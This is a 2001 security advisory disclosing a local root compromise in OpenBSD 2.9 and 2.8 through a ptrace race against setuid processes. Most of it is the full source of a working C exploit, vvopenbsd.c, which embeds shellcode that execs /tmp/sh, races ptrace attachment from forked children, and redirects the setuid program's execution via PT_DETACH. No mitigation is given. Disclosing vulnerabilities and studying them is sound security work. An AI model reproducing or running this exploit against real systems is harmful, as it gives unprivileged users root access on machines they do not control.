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OpenBSD 2.9,2.8 local root compromise
From: Georgi Guninski <guninski () guninski com>
Date: Thu, 14 Jun 2001 17:14:46 +0300

Georgi Guninski security advisory #47, 2001

OpenBSD 2.9,2.8 local root compromise

Systems affected:
OpenBSD 2.9,2.8
Have not tested on other OSes but they may be vulnerable

Risk: High
Date: 14 June 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. 
You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts 
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on 
experiments though it may be false.
The opinions expressed in this advisory and program are my own and 
not of any company. The usual standard disclaimer applies, 
especially the fact that Georgi Guninski is not liable for any damages 
caused by direct or  indirect use of the information or functionality 
provided by this advisory or program. Georgi Guninski bears no 
responsibility for content or misuse of this advisory or program or 
any derivatives thereof.


Description:

There is local root compromise in OpenBSD 2.9, 2.8 due to a race
probably in the kernel. This is quite similar to the linux kernel
race several months ago.


Details:
By forking a few process it is possible to attach to +s pid with ptrace.
The process seems to be in a strange state when it is attached.
Contrary to the man info PT_DETACH allows specifying an address to which
execution is continued.


Exploit:

http://www.guninski.com/vvopenbsd.c

-------------vvopenbsd.c----------------------
/* Written by Georgi Guninski http://www.guninski.com 
Tested on OpenBSD 2.9 and 2.8
Works best after reboot - the +s program must not be executed before, seems
executes /tmp/sh
/tmp/su must be a link to +s program
if the +s program has been executed, create and run shell script the size of RAM
You may need to type "fg" if the program receives stop signal
you may need to run the program several times
*/

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>
#include <machine/reg.h>

int me=0;

void endit(int x)
{
if(!me)
 {
 printf("exiting\n");
 exit(0);
 }
}

extern char **environ;
int main(int ac, char **av)
{

volatile struct reg pt;

//exec "/tmp/sh"
char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                  "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                  "\xb0\x3b\x50\xcd\x80\x90\x90\x90";

int j,status,sig;
volatile int done=0;
volatile static int done2=0;
int pid,pid2,i;
int num; // number of processes to fork. 20 works for me on Pentium500
int target;

char *env1;
// address of $joro where execution of shell code begins.may need to be changed
unsigned int breakat=0xdfbfddaf;
num=20;
pid=getpid();
if(!getenv("joro"))
{
setenv("joro",bsdshell,1);
if (execle(av[0],"a",NULL,environ))
 perror("exec");
}
else
 breakat=(int)getenv("joro");
printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);
target=pid;
printf("Started pid1=%d target=%d\n",pid,target);
for(i=0;i<num;i++)
 {
 if (!done)
  if(! (pid2 = fork()))
  {
   signal(SIGURG,&endit);
   pid2=getpid();
   while(!done)
   {
    if (!ptrace(PT_ATTACH, target,NULL,NULL))
   {
   done=1;
   printf("\nAttached!\n");
 
   wait(&status);
   sig=WSTOPSIG(status);

  printf("sig=%d %s\n",status,sys_siglist[sig]);
  ptrace(PT_GETREGS,target,(caddr_t)&pt,NULL);
  printf("eip=%x esp=%x\n",pt.r_eip,pt.r_esp);
  
 me=1;
 done2 +=1;
 
  ptrace(PT_DETACH, target,(caddr_t)breakat,NULL);

//sleep(2);
kill(0,SIGURG);
sleep(4); 
while(42)
 kill(target,SIGCONT);
   }
  }
  }
 }
// "/tmp/su" must be symbolic link to +s program . 
// the program must not be executed before.
execle("/tmp/su","/usr/bin/su",NULL,environ);
}

----------------------------------------------

Workaround:
Don't know

Vendor status:
OpenBSD was informed on 9 June 2001.

Regards,
Georgi Guninski
http://www.guninski.com


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